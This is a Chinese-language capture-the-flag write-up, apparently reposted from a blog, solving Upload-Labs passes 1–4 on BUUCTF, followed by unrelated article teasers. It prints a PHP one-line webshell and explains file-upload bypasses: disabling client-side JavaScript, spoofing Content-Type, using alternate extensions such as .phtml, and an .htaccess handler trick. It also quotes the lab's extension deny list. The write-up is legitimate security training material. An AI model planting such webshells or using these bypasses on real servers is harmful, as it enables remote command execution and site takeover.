[BT]BUUCTF刷题第13天(4.1)

第13天

Upload-Labs-Linux (Basic)

Pass-01

在这里插入图片描述

根据题目提示,该题为绕过js验证。

一句话木马:

<?php @eval(system($_POST["cmd"]));?>
// @符号   表示后面的语句即使执行错误,也不报错。
// eval()  把括号内的字符串全部当作php代码来执行
// system  执行外部程序,并且显示输出
// $_POST  用于收集来自 method="post" 的表单中的值
// 所以,这句代码的意思就是用php的方式收集 cmd 的值,执行cmd并输出

方法一:

该页面下按F12后再按F1,将调试程序中的停用JavaScript打开,保持页面,上传一句话木马

在这里插入图片描述

上传成功显示

在这里插入图片描述

在此之前随便上传一个图片后打开F12可以获取图片上传后的地址,这是后面调用木马的关键。

在这里插入图片描述
不过一般做题默认都在主机ip/upload下。

在这里插入图片描述

将以上url修改为以下url访问上传的一句话木马111.php

在这里插入图片描述

然后利用蚁剑打开连接修改后的url,成功连接。

在这里插入图片描述

方法二:
将一句话木马文件设置成图片格式后上传,利用bp抓包拦截恢复filename的后缀为php后上传成功。

Pass-02

在这里插入图片描述

直接上传会显示文件类型不正确,这里考虑修改MIME类型

首先上传一句话木马,然后修改Content-Type: image/png

在这里插入图片描述

直接上传就可以了,不过可能是我自己蚁剑的原因,明明成功上传但就是连接不上,要自己打开http://9b65883a-2c01-4ffb-b9c9-28e8cd77391d.node5.buuoj.cn:81/upload/shell.php构造POST参数执行命令

Pass-03

在这里插入图片描述

网站不允许上传.asp,.aspx,.php,.jsp后缀文件!,而且根据源码显示这是后端验证

所以这里考虑后缀名绕过,有常用的php3、php4、php5、phtml、phtm​

首先上传一句话木马,然后BP抓包修改后缀为filename="shell.phtml"

在这里插入图片描述
在这里插入图片描述

提交成功后注意这一次文件被网站重命名了,需要F12找到上传返回的地址

在这里插入图片描述

访问该链接使用命令即可拿到flag

Pass-04

在这里插入图片描述

查看源代码发现过滤了很多后缀,并且过滤规则很严格

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

因此这里考虑上传.htaccess

.htaccess文件内容:

<FilesMatch "upload.png">
SetHandler application/x-httpd-php
</FilesMatch>

上传.htaccess文件和一句话木马(图片格式)即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/785768.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

rtsp协议详解-最详细的流媒体传输协议

流媒体传输协议-rtsp协议详解 rtsp RTSP出现以前&#xff0c;最热的大概就是HTTP协议。想象一下&#xff0c;当你需要欣赏网络中的某一段视频&#xff0c;通过HTTP协议访问其URL、开始下载、下载完成后播放。对于早期的视频采集设备、网络带宽或是负责渲染的显示器而言&#…

Redis中的复制功能(一)

复制 概述 在Redis中&#xff0c;用户可以通过执行SLAVEOF命令或者设置slaveof选项&#xff0c;让一个服务器去复制(replicate)另一个服务器&#xff0c;我们称呼被复制的服务器为主服务器(master)&#xff0c;而对主服务器进行复制的服务器则被称为从服务器(slave),如图所示…

关于list的那些事

1.什么是List 在集合框架中&#xff0c;List是一个接口&#xff0c;继承自Collection。 Collection也是一个接口&#xff0c;该接口中规范了后序容器中常用的一些方法具体如下所示 Iterable也是一个接口&#xff0c;表示实现该接口的类是可以逐个元素遍历的&#xff0c;具体如…

深度学习| DiceLoss解决图像数据不平衡问题

图像数据不平衡问题 图像数据不平衡&#xff1a;在进行图像分割时&#xff0c;二分类问题中&#xff0c;背景过大&#xff0c;前景过小&#xff1b;多分类问题中&#xff0c;某一类别的物体体积过小。在很多图像数据的时候都会遇到这个情况&#xff0c;尤其是在医学图像处理的…

每日一题 --- 两数之和[力扣][Go]

两数之和 题目&#xff1a;1. 两数之和 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 target 的那 两个 整数&#xff0c;并返回它们的数组下标。 你可以假设每种输入只会对应一个答案。但是&#xff0c;数组中同一个元素在答案…

深入理解 Java 序列化中的 readResolve() 方法

深入理解 Java 序列化中的 readResolve() 方法 在 Java 编程中&#xff0c;序列化是一个将对象状态转换为字节流以便存储或传输的过程&#xff0c;而反序列化则是将这些字节流恢复为原始对象状态的过程。Java 提供了强大的序列化机制&#xff0c;使得开发者能够轻松地处理对象…

SSM框架学习——Spring的控制反转IoC与依赖注入DI

控制反转IoC与依赖注入DI 概念 提到Spring首先想到的肯定是Spring的IoC容器了。在了解Spring的用法之前我们必须了解什么是控制反转IoC和依赖注入DI。 **控制反转&#xff08;Inversion of Control&#xff09;**是面向对象编程中的一种设计原则&#xff0c;它建议将不需要的…

全量知识系统 详细设计 之preserving (百度AI助手QA)

Q1. 1、三种对象三种库&#xff1a;python 数据对象 none对象: 对等立方体&#xff08;PQR&#xff09; ole对象Y 。 pqr均为立体库&#xff08;工厂级的&#xff09;&#xff1b;Java 类对象 Empty对象 &#xff1a;公差立方体(XYZ ) 值对象C。 xyz均为线库&#xff08;车间…

【软考】系统集成项目管理工程师(二十二)法律法规【2分】

一、合同法 1、内容 当事人的名称或者姓名和住所、标的、数量、质量、价款或者报酬&#xff1b;履行期限、地点和方式&#xff1b;违约责任和解决争议的方法 练一练 【例1-高16下】格式条款是当事人为了重复使用而预先拟定&#xff0c;并在订立合同时未与对方协商的…

Java language programming:求学生的平均身高

题目&#xff1a; 从键盘输入若干个人的身高&#xff0c;计算出平均身高&#xff08;平均身高为int类型&#xff09;。当输入身高值为0时&#xff0c;表示输入结束。 输入格式: 输入若干个人的身高值输入在同一行&#xff0c;用空格分隔。 输出格式: 按照输出样例格式输出平均…

共享内存 - windows平台和linux平台的不同处理

1.各个平台下的共享内存的使用方法 共享内存主要用来进行模块分割&#xff0c;复杂性隔离的用途。python这类跨平台平台其实是无法完全消弭各个平台间的个体差异&#xff0c;一个简单的例子&#xff1a; import posix_ipc import mmap# 创建或打开共享内存 shm posix_ipc.Sh…

matlab 坐标系变换

文章目录 对象轴角 axis-angles欧拉角 Euler angles四元数 quaternion旋转矩阵 rotation matrices齐次变换矩阵 Homogeneous Transformation坐标系换算 Coordinate Conversions图变换 Plot Transformations对象 对象含义se2SE(2)齐次变换矩阵se3SE(3)齐次变换矩阵so2SO(2)旋转s…

内存泄漏检查工具下载(vld)

前言&#xff1a;在我们向内存申请动态空间的时候&#xff0c;如果使用完之后不将申请的空间释放&#xff0c;就会造成内存泄漏的情况&#xff0c;但是一般情况下&#xff0c;我们是无法通过运行代码来知道是否造成了内存泄漏&#xff0c;所以vld就成为了检查内存是否泄漏的好帮…

rocketMQ中store目录解释

rocketMQ中有个store目录&#xff0c;它是用来存放和管理broker中的消息&#xff0c;queue和topic的。 下面的是store的目录 abort&#xff1a;该文件在broker启动后会自动创建&#xff0c;broker关闭后消失&#xff0c;若没有消失则说明该broker非正常关闭。 checkpoint&…

面向对象设计之开闭原则

设计模式专栏&#xff1a; http://t.csdnimg.cn/4Mt4u 目录 1.引言 2.如何理解“对扩展开放、对修改关闭” 3.修改代码就意味着违反开闭原则吗 4.如何做到“对扩展开放、对修改关闭” 5.如何在项目中灵活应用开闭原则 6.总结 1.引言 开闭原则(Open Closed Principle&…

Python多任务处理---多线程

引入 生活中&#xff0c;我们在电脑上打开了一个word, 这个word对操作系统来说就是一个进程。我们在进行word操作的时候&#xff0c;比如在你打字的时候&#xff0c;该word同时可以进行文字检查。发现了没&#xff0c;在同一个进程中&#xff0c;我们也可以进行同时操作。…

【RV1126】瑞芯微RV1126开发板双网口问题

今天新拿到瑞芯微RV1126的开发板&#xff0c;是双网口双百兆接口&#xff0c;内存为2G&#xff0c;emmc flash为32G&#xff0c;一开始无法分辨物理接口和系统的eth是对应的&#xff0c;遂想用ethtool工具来查看网速&#xff0c;发现&#xff1a; ethtool eth0 # 可以正常返回…

Acwing.731 毕业旅行问题(状态压缩动态规划)

题目 小明目前在做一份毕业旅行的规划。 打算从北京出发&#xff0c;分别去若干个城市&#xff0c;然后再回到北京&#xff0c;每个城市之间均乘坐高铁&#xff0c;且每个城市只去一次。 由于经费有限&#xff0c;小明希望能够通过合理的路线安排尽可能的省些路上的花销。 …

如何在 Debian VPS 上添加、删除和授予用户 sudo 权限

简介 当你启动一个新的服务器时&#xff0c;会创建一个名为 root 的默认账户。这个用户拥有完全的系统访问权限&#xff0c;应该仅用于管理任务。作为 root 用户&#xff0c;你基本上可以对系统做任何操作&#xff0c;这很强大&#xff0c;但也极其危险。Linux 没有“撤销”按…

Leetcode 73 矩阵置零

题目信息 LeetCode地址: . - 力扣&#xff08;LeetCode&#xff09; 题目理解 矩阵是m*n的&#xff0c;如果某个元素(i,j)等于0&#xff0c;则将第i行和第j列的所有元素都置零。既然如此&#xff0c;我们可以便利每一个元素&#xff0c;并记录下哪一行哪一列有零。记录完毕后…